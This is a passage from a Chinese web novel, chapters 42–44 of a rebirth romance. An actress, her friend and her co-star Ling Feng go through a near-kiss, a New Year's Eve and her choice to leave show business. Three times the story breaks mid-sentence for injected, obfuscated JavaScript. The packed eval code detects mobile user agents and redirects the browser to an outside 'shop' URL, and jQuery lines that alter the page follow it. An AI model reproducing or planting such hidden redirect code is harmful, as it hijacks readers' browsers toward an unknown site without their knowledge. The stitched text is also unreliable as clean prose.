常好好朝桌上望去,一张张帅脸摆在一块,很有冲击力。 当初为了让自己尽快入戏,特意去二手交易平台拿下了凌枫的各种小卡。她回忆起来那个时候的情况,偏过头去,疑惑道:“我记得我跟你提过买凌枫小卡的事。” “没错,但是这张,”沈骁用两根手指轻轻夹起右边最后一张小卡,立在常好好面前,“这张不是凌枫,好像有点特殊哦。” 小卡距离常好好非常近。她从沈骁手里拿过这张小卡,仔细观摩,瞬间思绪万分。 42. 贴近 “你来了,好好。”江跃苍白的脸上露出一抹笑,“我以为你不会来。” “好好?” 沈骁大嗓门猛地把常好好从回忆中拽了回来。她一脸八卦地问道:“快跟我好好说说,怎么有一张江跃的小卡呢。” 常好好看向小卡中江跃帅气阳光的脸,叹了一口气:“买凌枫小卡的时候无意中瞥见这张,很喜欢就一起买了。” 许是心里的愧疚,许是深知江跃这些年多不容易。当时得到江跃躯体化严重的消息,她只犹豫片刻便答应江跃舅舅去见江跃。 江跃在单亲家庭长大,母亲工作很忙,大部分时间在舅舅家生活。十二岁那年,他母亲的生命停止在工作岗位上。三十二岁那年,跟他从小长大的表妹同样在工作岗位上离开。 那时候,是在她重生两年前。 “所以此时此刻,你更喜欢凌枫,还是江跃?”沈骁继续大嗓门攻击,睁大眼睛,等待常好好的答案。 能看出来,她想要八卦的心达到了顶点。常好好盯着沈骁的眼,眼前一一划过这几个月里与之相处的画面,沉吟了一会儿,道:“江跃是过去式了。但这不影响我想要帮助他和他表妹的心。” 沈骁云里雾里,怎么又多了个表妹,这都哪跟哪啊。她挠了挠头,脸向前探了探,“什么意思啊?” 常好好不再有所保留,将她和江跃的事以及江跃表妹的遭遇全盘托出。 全部听完,沈骁怔住片刻,然后猛地从座位上弹起来,激动地直跺脚,“我明白了,我终于明白了。” 常好好挑了挑眉,她又明白什么了? “警方一直怀疑你的原因啊,你没说实话。”沈骁手抵着下巴,露出高深莫测的表情,在常好好身前来回踱步,过了会儿忽地跳回来,“说实话,我觉得吧,陆颂那个人挺正直的。” 陆颂不仅是犯罪心理学专家,更是询问常好好的警察之一。 常好好知道沈骁话里的意思,苦笑着摇头:“你把事情想的太简单。表面看,我说出来没什么损失,或许能替我洗清大嫌疑。实际门口蹲了无数名记者,文字的力量很强大,倘若有记者添油加醋写出些有的没的,对江跃更是雪上加霜。” “不会吧,大家保密不就得了。” 常好好嘲讽一笑:“人心复杂,我不敢赌。但有一点很明确,成世泽出事跟我没关系,所以我无所畏惧。无奈后来被有心人利用,导致舆论发酵,这确实超出了我的想象。” 原本坦坦荡荡,没成想后续发生那么多事,有些人真是想尽办法整她,不放过一丝一毫机会。 沈骁之前听她说起过那时候的情况,摇了摇头,一脸不可置信。 “人不可貌相。我以为秦汀和你公司是罪魁祸首,没想到冯媛和她的公司更可恶。”想到什么,她不禁打了个寒颤,“真可怕!竞争就竞争嘛,非要搞一些恶臭手段。” “接下来你打算怎么做,凌楷的嫌疑不能忽视,夏琳和吴妍新跟成世泽走的很近,更要多观察,感觉你有的忙了。”沈骁又开始掰手指头。眼下成世泽的事没有眉目,现在又要注意江跃表妹的情况。 常好好放下江跃的小卡,扫了一圈凌枫的小卡,避开视线,往沙发靠背一仰,“走一步看一步吧。重生回来又怎样,照样有很多限制。” “可不嘛,当初我以为走向会像重生剧里那般,各种打怪升级。”沈骁有点泄气,“果然现实比影视剧里残酷多了。”她是谁?超级乐天派,不过五秒钟,重新恢复笑模样,“枫哥几点过来呀,家里好像没多少水果了。” 常好好最近头晕脑胀,远没有沈骁注意细节,愣了愣,懒洋洋地起身。 下一秒,一屁股坐下,拿起手机说:“点外卖吧,方便。” “不用不用,楼下有一家水果超市。我去吧,正好消消食,再买些零食啥的。”沈骁主动请缨出去采购。 耳根子清净了,一时间反倒不习惯起来。别说,沈骁身上好像有一股魔力,有她那个开心果在身边,莫名安心。 “习惯真可怕。”常好好喃喃自语,脑海里突然出现凌枫的脸,赶紧晃了晃脑袋,用拳头轻轻敲打头,决定打起精神来。 半个小时过去,家里仍旧只有她一人。 不是楼下吗,怎么还没回来?常好好心里想着,终于舍得抬起她那矜贵的臀部,结果起来太急,只听“卡擦”一声响,她又龇牙咧嘴的,揉了揉大腿根,原封不动地坐了回去。 等啊等,眼皮开始打架,最后彻底放弃挣扎。 一片迷雾袭来,常好好又捂起嘴巴大声喊人,喊累了,干脆不喊了,默默停留在原地,不敢向前走。 嗯?这个画面总感觉经历过呢。 正绞尽脑汁回忆着,前方亮了一下。她心下一喜,凭借感觉朝刚才闪光的方向前进,走的过程中迷雾渐渐消散,仿佛胜利就在眼前,于是加快脚步。 就在这时,脚下不知道被什么东西绊了一下,右脚微微一扭,身体随之倾斜,一个没站稳,摔了个大跟头。 “嘶……好痛。”她额头渗出汗水,咬紧牙根想要起身,发现根本做不到。 迷雾再次汇聚,仿佛一层又一层,恐惧的感觉冲上心头,她不断念着:“我要出去!我要出去!我要出去!” “嘭!” 常好好睁开双眼,恐惧感并未消退。她收回脚,手用力支撑着,整个人从沙发里坐了起来,目光落在掉落地毯上的书,久久无法平静。 怎么又是有关被迷雾困住的梦。这是第四次、第五次?已经数不清了。 她闭上眼,努力让情绪稳定下来,长长地吐出一口气,再睁开眼睛,望着空空的茶几发呆。越看越觉得好像哪里不对劲。 等等! 原本放在茶几上的小卡呢? “沈——”骁字被她咽了回去,嘴唇不受控制的微微抖动,朝着不远处的男人说,“你来了。” 凌枫已脱掉外套,自觉地穿上唯一一双男士拖鞋,手里端着一次性水杯,静静地注视着常好好。 被男人盯得心里直发虚,常好好莫名感到紧张,咽了下口水,视线扫过凌枫的手,没发现消失的小卡。 难道沈骁回来过一次帮她收起来,之后又出去了?带着心中的疑惑,她试探地问:“你什么时候来的,看见沈骁了吗?” 凌枫慢悠悠地走过去,坐在常好好身侧的位置,将手里的一次性纸杯放到茶几上,不慌不忙地道:“来了十分钟吧,没看见沈骁,光顾着看你睡觉了。” 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352313|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道为什么,常好好更加尴尬,抿了抿嘴唇,寻思睡觉的时候没流口水吧。 这会儿她已经把小卡的事抛在脑后。 “卡片我帮你整理好,放在书房桌子上了。”凌枫扭过头,深邃的眼睛直视她。 他的一双眼睛好像有魔力,常好好没有闪躲,盯着好看的瞳孔看了一阵,半分钟才渐渐缓过神,意识到了事情的严重性,惊讶的语气问:“小卡?” 他都看到了。 凌枫笑了:“有很多照片我都没印象。不看不知道,原来我确实有几分姿色。” “……” “对了!”凌枫忽地站起身,依他走路的方向,目标应该是书房。常好好立刻跟在他身后。书房的门始终开着,两个人一前一后踏入书房。 不久前,被沈骁单独摆放的十几张小卡被摞在一起放到书架中的一个小格子中。 真会找地方,常好好心里嘀咕一句,犹疑间身前的大长腿再次朝前迈步,伸出手臂,稳稳握住摆放好的小卡,回身问道:“放这里,可以吧?” 不理解,非常不理解。放都放了,又拿下来是想干嘛。许是看见江跃的小卡,吃醋? 被自己的想法认可,常好好暗自点了点头。 见她点头,凌枫重新放好小卡,走到她身边,“想什么呢。” “想你。”她道。 凌枫微微怔住,只定定地看着她。 她心血来潮,突然想捉弄一下眼前的男人,慢慢向凌枫靠近,蕾丝睡裙小花边轻轻触到凌枫的黑衬衫,如此距离仍没能阻止她前进的脚步,逼得凌枫默默退后,直到身体碰撞书柜。 “哗啦”一声,摞起来的小卡散落在地,原位只剩下最后一张小卡。她一把拿过那张印着江跃笑脸的小卡,正反面来回翻了两遍,露出邪魅的笑,歪了歪头道:“怎么?看见不是你的脸,吃醋了?” 凌枫目光微微扫过小卡,似笑非笑,看不出来情绪。 她心头一颤,随意把小卡放到旁边的桌上,双手环绕住凌枫的脖子,见男人身体僵硬,一动不动地靠在那里,不知怎么了,脑海里冷不丁地回忆起六年后凌枫的样子。 那时候他孤身一人,看起来比现在还要生人勿近。该不会他喜欢的女人是有夫之妇吧? 要是那样的话,他确实有点可怜。但感情的事不能勉强。 想到这,常好好瞬间清醒,眨了眨眼,懵逼地盯着环住凌枫脖子的手,脸忽地红了。 她在做什么? 疯了吧? 震惊刚才的举动,她飞快地抽回手臂,却在动作做到一半时被对面的男人打断,身体似是被人轻轻举起。 恍惚中的几秒中,她的大脑犹如短路,直到后背结结实实地靠在墙上,才稍微回过神。 下一秒,不等她做出反应,凌枫的身体便贴了过来。她能感到整个身子被凌枫牢牢围住,半点不能挣脱。 心跳不受控制地疯狂跳动,她没有挣扎,呆呆地抬起头,眸子看向将她禁锢住的男人。男人眼里满是她读不懂的复杂情绪。 凌枫不由自主地凑近常好好,视线划过近在眼前的嘴唇,看起来那样诱人,忍不住让他想要贴近。 两个人的唇瓣越来越近,即将贴在一起。 43. 微妙 关键时刻,男人停住了。 身体周围炙热的温度消散,搂住她腰身上的大手消失不见。 常好好睁开双眼,发现凌枫已与她保持一个人的距离,正站在那里,均匀地喘着气,他的瞳孔中闪过一层不敢置信。 两个人保持刚刚的默契,四目相对,却谁都没有开口。 良久,凌枫避开视线,眸光闪烁道:“……对不起。” 常好好彻底懵逼,依然靠在墙上,表情呆愣愣的,嘴巴闭紧未给出回应,似是未从不久前的情绪中抽离出来。 “好好,看我给你买了什么好东西!” 随着沈骁一声大喊,以及重重的关门声响,书房内的两个人清醒不少。 两道视线默默交集,又默契地移开。 常好好的脚率先移动,小跑着离开让人脸红心跳的书房。 门口,沈骁正低头咬着牙脱长靴,费好大力气才把靴子脱下来,给她累够呛。猛地一抬头,一张通红通红的脸明晃晃的在她眼前。 红到什么程度呢?真的很像猴屁股。 “诶我去,你吓我一跳。”她的手捂住胸口,显然被吓得不轻,瞄了眼常好好,见对方身上仍穿着刚才那件米色蕾丝连衣裙,皱起眉头,“不是?你脸咋这么红,不是已经把供暖关了一半吗?”说着,她顺势把外衣和毛衣一一脱下,不明所以地继续道,“我怎么觉得温度刚刚好,不至于热成猴——红苹果吧。”她非常机智地改了口。 常好好支支吾吾,嘴里没蹦出一个字来,正犹豫着说啥,不远处传来脚步声。 于是,她的脸更红了。 沈骁是真被吓坏了,用关心的口吻问道:“好好,你没事吧?”然后下意识地伸出手,抚摸常好好的额头,疑惑地眨了眨眼,“还行啊,你没发烧啊。” “回来了。”凌枫走到玄关处,站到常好好斜后侧方,朝沈骁笑了笑。再扭过头,看向常好好说道,“你们晚上没做饭吧,我给你们做点东西吃。”说话的功夫向前跨一步,伸出长臂将沈骁随手放在地砖上的两大袋子食物拎在手中。 沈骁有点发愣。她不知道凌枫在家,独自坐在鞋凳上,望着凌枫的背影忽然想到了哪里,露出一抹贼兮兮的笑,冲着常好好狂抬眼皮。 书房里的一幕幕画面仍萦绕在常好好心头,担心沈骁口无遮拦,当着凌枫的面说些有的没的,她一把握住沈骁的手腕,拽着沈骁直奔主卧。 卧室门被打开又关上。 刚才路过客厅时,沈骁看见了表面整洁的茶几,瞬间想到了小卡,反握住常好好的手腕,激动地问:“茶几上的小——”剩下的字被常好好无情地按了回去。 常好好用力捂住沈骁的嘴,刻意压低了声音:“能不能小点声,你这大嗓门一来,楼上楼下全能听得一清二楚。” 沈骁点了点头。 常好好收回手,眼睛瞥向门那边的方向,咽了一口口水,这个动作被沈骁精准捕捉到。 沈骁倒吸一口气,下一秒立刻接收到常好好警告的眼神。她自觉地放低声音,捏着嗓子说:“你和枫哥,你们两个不会……不会一时兴起,那个什么……在房间里做了一些些……” 不给她描述少儿不宜的画面的机会,常好好手握成拳头,敲了一下沈骁的脑袋瓜,“想什么呢,不是你想象的那样。” “那你脸红什么?”沈骁揉了揉头,瘪着嘴说。 常好好张了张嘴,眼前再一次划过凌枫逼近她时的画面,说话变得慢吞吞,“我……我只是有点不明白他什么意思。” 沈骁来了兴致,“你告诉我来龙去脉,我帮你分析。” 认真回忆了刚才在书房发生的事,常好好舔了舔嘴唇,开口道:“我见他发现江跃的小卡想要逗逗他,没想到他会……”她不知道该如何用语言形容,磨叽了一会儿,把沈骁急得那叫一个难受,“我说你能不能别卖关子了,枫哥到底做什么了?” 她心慌意乱,有点语无伦次:“他刚在书房……我们俩离得近差一点……” “差一点啥呀?”沈骁快要受不了了,如此折磨下忽地灵光一闪,激动地拍腿,“我懂了。” 常好好挑了挑眉,仿佛对沈骁的“懂了”颇有微词。 沈骁不以为意,激动地在房间里来回踱步,“我明白了,你本来跟枫哥开了个玩笑,结果枫哥认真了,他顺势壁咚了你,你们两个紧紧挨在一起,差点亲亲了对不对?” 静。 非一般的安静。 常好好张大嘴巴,站在原地惊呆了。 这他么也行? 不是?她会读心术? 沈骁好像读懂了常好好的心,轻拍她的手臂,“诶呀,类似剧情我写了无数遍,就那么回事呗。” 剧情? 常好好这会儿才想起来沈骁的老本行,笑眯眯地盯着她,“对了,我记得你是小说作者?” 不知道为什么,沈骁被常好好的笑容吓得往后连退两步,心里直发怵。她迟疑了一会儿,点头道:“咋,咋了?” “你不是喜欢分析吗,帮我好好分析下关键时刻凌枫突然松开我,并跟我说“谢谢”的心理活动。”常好好道。 “嗯,你算是问对人了。”沈骁揉搓下巴,脚步不停,来回来去地移动,大概两三分钟,她竖起三根手指头,“我认为有三种可能性。” “第一种可能,他被外界因素影响,一时冲动对你起了不该有的心思,但马上清醒,意识到不应该如此。也就是说他不喜欢你,或者没那么喜欢你,不过是气氛上头,导致抽风,对你做了过度的行为举动。” “第二种可能,他一直隐忍,却因为瞧见江跃那张小卡后心里生出对你的占有欲,以至于没忍住想要吻你,但是内心始终挣扎着,所以才在最最最关键的时刻戛然而止。这说明他很有可能已经喜欢上了你,甚至爱上你。即便如此,他意识到没有得到你的允许,不能那么做,所以才停下来。” “至于第三种可能嘛,他在不停地试探你的底线,想看看你对他突如其来的举动有什么样的反应。然后再通过你的一系列反应决定以后对你的态度和行为。这种可能性就比较可怕了,但我觉得枫哥不太像会那样。”沈骁一脸认真地分析,说的头头是道,瞥见常好好低头沉思,终于不再捏着嗓子,提高了声音,“你觉得他是哪种?” 常好好沉吟了一会儿,道:“有没有第四种可能性?” “啊?” “比如他做这些不过是演戏罢了。”常好好发现沈骁傻眼,沉默半晌,重新组织好语言,慢慢解释道,“他刚才脸不红心不跳的模样你看到了吧,如果不是我告诉你这些,你能看出来我们俩前一秒在书房里做了什么?” “你是说枫哥演技堪比影帝,对你壁咚只是因为……”沈骁这次真的不太懂,努力寻找适合的词汇,结果吭叽半天,最后放弃挣扎,反问道,“所以,他到底因为什么啊?” 常好好一屁股坐在柔软的大床上,顺势往后一倒,望着上方的天花板,回道:“或许他想要通过这场戏,让我误以为他对我有男女之情,好达到他的某种目的。” 这话听着这么耳熟呢?沈骁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357278|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯了扯唇:“额,你说的好像是你自己吧。”看见常好好蹭的一下坐起身,她话锋一转,打着哈哈,“没错!你说得对。但是吧,如果真的是第四种可能,会不会太复杂了点。” 常好好感到莫名其妙,“哪里复杂了?” “你不就是想知道他是喜欢你,还是不喜欢你嘛,显然第四种可能性都有啊,演戏也不影响他是真的喜欢你啊。”沈骁说完给常好好抛了个媚眼,“我懂,我都懂的。” 你到底在懂什么?常好好在心底里忍不住吐槽,然后郑重其事地道:“算我求你,等会儿出去看见凌枫千万别乱说话。” 沈骁拍了拍她,“你放心,我懂的。” 常好好的唇角抽了两抽,咱能不能换个词汇? 二人结伴回到客厅。 没踏入厨房呢,沈骁已被扑面而来的饭香味吸引,感叹道:“本来就饿,现在更饿了。” 常好好:“……” 说的好像她苛待她一样,这个家伙是大胃王吗? 沈骁不知常好好心里所想,盯着凌枫手里那道酱香排骨,口水都快流出来。 凌枫把菜倒入准备好的盘子里,专心摆盘,没怎么搭茬说话。 常好好全程处于高度紧张状态,生怕沈骁的嘴没个把门,一不小心放出来个“重磅炸弹”。 直到稳稳当当坐在椅子上,正式吃起晚饭,仍不能使她安心。 事实证明,沈骁确实“给力”,吃饭都堵不住她的嘴,吃着吃着,不知道怎么想的,忽然来了一句:“对了,我差点忘记重要的事。” 闻言,常好好心里一紧,默默收回悬在半空中的筷子,眼睛一眨不眨地看着沈骁,手心已经微微出汗。 沈骁难得放下筷子,叹了一口气:“小嘉晨最近不好受,我想着找个机会让他妈妈带他去看心理医生。”她没察觉常好好有什么不对,偏过头道,“去你二哥同学那吧,我们有自己人。” 此时此刻,常好好脑袋属于半短路状态,下意识脱口而出:“自己人?” “是啊,不是有你哥这层关系嘛。除此之外,还有陈舒悦在呢。”沈骁重新拿起筷子,夹起一个凌枫秘制的小香肠,放入嘴里咀嚼,忽地又想到什么,她快速咽下嘴里的食物,拿起水杯喝一大口,大喊一声,“天啊八点了!我差点忘了。” 你丫又忘记啥了?能不能给我消停点啊! 常好好心里慌得不行,紧张到手心直抽抽。一把拿起公筷随便夹起一块菜,想要堵住沈骁的嘴。那边,凌枫开口了,“什么事让你这么迫切?” “综艺啊,好好参演的那部恋综,今天第一期播出,你们不会都忘了吧?” “呼……”常好好暗自松了一口气。 想想也是,她刚刚那般提醒沈骁,沈骁总不至于缺心眼到当着他们两个人的面问有关书房的事那种离谱程度。 提起恋综,沈骁比常好好激动多了,凌枫对此好像也有一点兴趣。 只有常好好反应平平,对节目相关丝毫不感冒。 “我去!你们快来看!江跃上微博热搜娱乐榜第一了。”沈骁越说越兴奋,手舞足蹈地举着手机屏幕,给凌枫看完给常好好看,“江跃帮你们节目宣传了。我记得他是上上季的嘉宾,上季节目都没冒出来宣传,怎么这季突然出来冒泡了?” “我懂了。要我说啊,江跃很早以前就对你有想法,在那边跃跃欲试呢。”她坏笑般地拍了拍常好好,“你等零点看看,他有没有给你跨年祝福。” 凌枫没说几句话,实际一句不落,全落进他的耳朵里。 44. 释然 他手微微顿住,眸眼微抬,望向常好好,说道:“江跃喜欢你?” 常好好笑得要多难看有多难看,一记眼刀飞过去,恨不得封上沈骁的嘴。说了让你少说话,你偏不听。 沈骁愣住了,紧接着眼珠滴溜溜的转,想到了哪里,嘴凑到常好好耳边:“你,你没跟他说?” “……” 论猪队友是怎么形成的。其实你可以再大声点,这样隔壁乃至楼上楼下都能听得见。 常好好对沈骁那张嘴彻底没招了。她瞥了凌枫一眼,发现凌枫正一脸严肃地盯着她看,于是飞快地躲开视线。 原本今天想找个好时机向他坦白江跃的事,谁知道计划赶不上变化,睡着了不说,还在书房发生了一些…… 这下可好,沈骁先把事情挑了出来,不用想都知道,凌枫绝对会多合计。已经到了这个地步,没必要再选个合适时间谈。 她陷入短暂思考,接下来把她和江跃发生的一系列纠葛一五一十地说出,包括她今后打算帮助江跃表妹江翊的情况。 凌枫始终那副看透一切,好像一切都无所谓的样子。他微微颔首道:“原来江跃是你的前男友。” “嗯,都是过去的事了。”常好好转移话题,“阿姨有没有问我为什么没过去,你没说漏吧。” “放心,我早告诉他们你跨年有工作。” “那就好。” 顷刻间,氛围变得诡异。 沈骁心知不久前说了不该说的话,这回哪怕是嘴痒痒了都没再多言多语。 晚饭在安静中度过,每个人都吃的不好受。 由于李嘉晨不断在群里诉苦。晚上九点多钟,重生小分队开启视频会议。紧接着更诡异的场景来了。 一共三个对话框,另外两边分别是李嘉晨和安燃。李嘉晨那边依然是黑乎乎一片,偶尔能看见他那双贼亮贼亮的眼睛。安燃那边的环境亮堂,看背景是书房。这边,餐桌前有三个人。常好好坐在中间,左右两侧分别是凌枫和沈骁。 视频通话接通的十秒钟里,没有人开口。第一个发出声音的人是安燃。 他“噗呲”一声大笑,差点把嘴里的水吐出来,“小晨晨,你那边太吓人了,看的人心慌,要不你把镜头关了,光听声音得了。”说完,眼神一瞟,关注到另外三个不自然的人身上,想要说啥,又默默闭上嘴,愣是没说出来。 “黑不黑不重要,你们听我说,我现在快崩溃了。”李嘉晨捏着嗓子道,“我完全没有自由时间,幼儿园放学都不能松懈,各种奔波,忙着去不同的补习班补课。明年上小学了,照这样下去我会疯掉的。” “重生前不是这样?” “当然不是了。”发觉音量变大,李嘉晨吓得缩起脖子,裹紧被子,放低声音继续道,“最近我琢磨来琢磨去,发现一个问题。重生前我和骁姐不认识,重生回来骁姐在我身边,我妈妈有空余时间多上课,后来画画补课班火了,妈妈薪资比之前翻了番。因为这样,我妈妈开始给我多报补习班。” 几个大人听得入迷,准确地说大家明白了发生变化的原因。 上一世,李嘉晨的父母因为买不买学区房,买哪里的学区房整天发生争吵,这一世还没到研究学区房那个节骨眼。 沈骁每天跟李嘉晨妈妈打交道。她歪头想些什么,忽然从座位上弹起来,导致对话框里只能看见半个她。 安燃手捂住胸口,脸色发白:“啥情况,吓我一跳!” “你们觉不觉得好多事情提前了?而且我总觉得心里不安。”沈骁一屁股坐回去,面色不比安燃好哪里去,“如果许多重要节点提前,我们的难题岂不是增多了?” 安燃不在意地摆了摆手:“别焦虑,现在才过去多长时间,我对我们能改变世泽命运这件重要任务有非常大的把握。对吧,小晨晨。” 被点名,李嘉晨条件反射,要不是不能大动作,都要起身答“到”了。 他无声地点了点头,有力无气地说:“没错,我们应该有信心。” 光听声音,一点听不出来有信心。 常好好把沈骁的话听了进去,心里莫名烦躁,想要扭头却忍住了,目光直视镜头里的凌枫,观察凌枫的表情,发现对方好像也在观察她,赶紧别开视线把话题扯开。 视频通话结束。不仅没有任何进展,还让所有人都比从前更焦虑。 十二月三十一日二十三点五十五分,距离元旦还有十分钟。 沈骁困得不行窝在沙发里睡着了。常好好抬起手迟疑着,最后把手伸了回来。 偌大的客厅没有一丝声音,她知道有关江跃的事一定要和凌枫说清楚,酝酿好情绪和语言,说道:“其实我——”好不容易下定决心张开了口,却支支吾吾。 “你想到怎么帮江翊了吗?”凌枫没有提江跃,接着她的话问道。 “暂时没有,需要从长计议。”她脑袋越来越乱,“我记得江跃说过她是我的剧粉。只是不清楚如今这个阶段她有没有看过我的剧,对我有没有印象。” 上一世,她和江跃一年后交往。两个人在一起的几个月里,他们一共出去八九次。每次都是几个人一起出去吃饭购物,几乎不离身,主要是为了躲避狗仔,哪怕真拍到了也不怕,至少能证明身边有其他人同行。 其中同行的人就有江翊和安燃。 凌枫翻转手腕,漫不经心地看了一眼,而后给出建议:“你即将退圈,与其研究江跃不如直接关注江翊,比如在她经常出没的地方停留,引起她的注意,慢慢成为她的朋友。” 不得不说凌枫是个很有头脑的人。 重生前,再不喜欢他,也从未质疑过他的聪明和心机。 常好好余光偷瞄凌枫,用赞同的口吻回道:“你的建议可行,等我有时间好好琢磨下。” “嗯,”凌枫轻飘飘地说,“到了。” 常好好云里雾里,感觉头快爆炸,大拇指轻轻抵着太阳穴揉搓,闭起双眼,反问:“什么到了?” 凌枫目光变得柔和,微微转头,轻声道:“常好好,新年快乐。” 对啊,今天不就是为了跨年吗? 她被自己慢半拍的行为逗笑,睁开眼看向凌枫,眼里满是真诚的笑意,“新年快乐,凌枫。” 话音一落,窗外炸开朵朵烟花,有金色、有红色、有绿色。 烟花映在了窗玻璃上,眼花缭乱的同时让人心花怒放。 这一刻,常好好忽然被激励到,心中暗道:我一定会改变成世泽和江翊的结局。 凌枫同样姿势看向窗户,但他看的并不是烟花。忽地,心里想起另一件重要的事,他慢慢起身,“我先走了,随时联系。” 正欣赏烟花呢,忽然被打断。常好好眨巴眼睛,小表情又懵又萌。寻思时间不早,她跟着凌枫站起来,走到门口时才不继续晕晕乎乎。 凌枫推开大门的间隙,她忽地灵光一闪,手紧紧拽住凌枫的手臂,恰巧摸到肱二头肌的位置,愣了一下,咽了一口口水,随即大声问道:“你刚来的时候是不是有话对我说。” 当时凌枫在书房松开常好好并道了歉,彼此平静了一小会儿后,凌枫说有些话想要找常好好谈,谁成想偏偏那时候沈骁买东西回来,话茬一路被遗忘,到现在才被想起。 凌枫沉默着,目光停留在常好好的手上,待对方的手小心收回,他眼神暗了暗,继续把门推开,脚不停歇移步到室外,朝她摆了摆手:“不是什么重要的事。外面凉,快把门关上吧,晚安。”说完,转身往直梯那边走。 常好好总觉得怪怪的,好像有一个特别重要的细节被她忽略。她轻轻关上大门,转身沉思,却在下一秒被站着的人吓得心直颤悠,微微张嘴大喘气,缓了片刻,才慢悠悠地道:“人吓人会吓——” “啊呸呸呸!新年新气象,现在已经一月一号,能不能说点吉利话。” 这位把常好好吓得够呛的罪魁祸首正是不知道什么时候开始从沙发上爬起来的沈骁。 常好好没好气地瞪她一眼,慢悠悠地走过去,一屁股坐在地垫上,小声嘀咕:“至不至于,又不是农历年。” 沈骁随手拿起一袋零食,极其丝滑地撕开包装袋,“好好,你跟枫哥很暧昧。” “你想多了。”常好好快速反驳,还要说什么,被沈骁往嘴里塞豆干的动作打断。从上到下瞅了瞅,佩服沈骁保持这么久的好身材,不理解为什么真有人干吃不胖,好像一直在长肌肉。提到肌肉,她瞬间想到刚刚在门口时凌枫的肱二头肌,逼迫自己忘记,猛然晃了晃脑袋,话锋一转,“对了,你啥时候醒的?” “我没睡啊。” “?” “这不是想给你们制造点机会吗,谁能料到枫哥这么不给力,跨完年就走了。”沈骁一副意犹未尽的样子,“啧啧啧,真没劲。” “……” 这个跨年夜因为沈骁没有真正入睡更加累人,常好好下半夜三点多才睡着。 仅仅睡了四个小时便被一通讨人厌的电话吵醒,不到九点钟已经出现在公司小型会议室里,听着林菲和几个人叭叭叭说个不停。 再准确点描述,是骂个不停。 “他么的,那群小心眼烂人,看见别人有好资源屁股疼是不是?有本事自己先联系啊,抢别人的算什么东西,他么的连东西都不如。” “草!太他么欺负人了!菲姐,我咽不下这口气。” “表面装的像个人,什么玩意啊,不是看不上这个广告拍摄吗?不是嫌低江跃一个title拒绝了吗?我们快谈好她又竞争上了?故意的吧。” “哎,上次汀汀有个好品牌也是这样。条件都谈好,被她同公司的演员抢走,最气人的是抢完又不去拍,纯纯故意气我们。” “他大爷的,欺人太甚!” 与那边几个气急败坏的人不同,常好好气定神闲,坐在一旁拿起水杯喝水,顺便看看窗外的好风景。 诸如此类的场景,上一世见了太多,一点不觉得惊奇,甚至林菲发了更大的火,那就是她大爆后被对家买黑水军造谣的时候。林菲气得眼珠子快要瞪出来。 想到这,她视线投向林菲,心里突然不是滋味。 认识这么长时间,有埋怨、有争吵、有分歧,但她却忘了感谢把她一手捧红的林菲。仔细回忆,她的成家身份被曝光后林菲真的从未在她面前提起过有关成世泽的案子,即使公司给她泼了不少脏水,但林菲本人并未直面提过。 以前只认为他们二人是利益共同体。现在回看,林菲那样的人真怀疑过她或者想埋汰她,根本不可能一句话不提。 林菲依旧在会议室里发火,团队其他人也来回踱步,忿忿不平。 那一刻,常好好好像有点释然了。 不知道为何,好像以前发生的不愉快,没那么重要了。她放下水杯,起身走到林菲身边,“菲姐,别气了。” “我能不生气吗?对面在向我们挑衅!”林菲气得手发抖,眼睛一撇,观察到常好好的神情不对,于是情绪稳了稳,对其他人说,“行了,你们先出去,我想想办法。” 会议室里剩下常好好和林菲两个人。常好好开门见山,真诚地道:“菲姐,合约还剩下五个多月。这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359224|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是开玩笑,我决定退圈。” 林菲了解常好好是个怎样的人,看她目光坚定,瞬间爆炸:“你疯了?现在这个阶段有多关键你知不知道!” 身边的人暴跳如雷。常好好垂眸,而后抬起头,朝会议室正前方空白处的墙看去。 上一世,没过多久,那里便会挂起一张巨大海报。 “我那天做了个梦。梦里我成为了顶流明星,拥有庞大的粉丝量,无数资源向我砸来,每次参加活动都顶着顶级流量明星的光环。” “可当我站得越高时,我却越发不安。渐渐地,我清醒了。我决定退圈做自己真正想要做的事,到了那个节骨眼却被其他事绊住。”她顿了顿,“退圈是我深思熟虑过后的决定,余下五个月我会配合公司,希望能够与公司和平分手。” 该说的都说了,剩下的情况不是她一个人能够决定得了的。 她内心平静,等待林菲的回复。原以为林菲会继续咆哮或不解,结果出乎她的意料,林菲似是同她一样情绪平稳下来,只回道:“我知道了,具体情况我会跟公司禀报。” 一切发生的好不真实。 走出公司,仍旧不相信合约一事会解决的如此简单。 她茫然地转身,仿佛眼前的景象是一场梦。 前方不远处有一颗杨树。 她转过来,下意识地抬起头,光秃秃的树枝一眨眼缀满了浓绿的叶子。 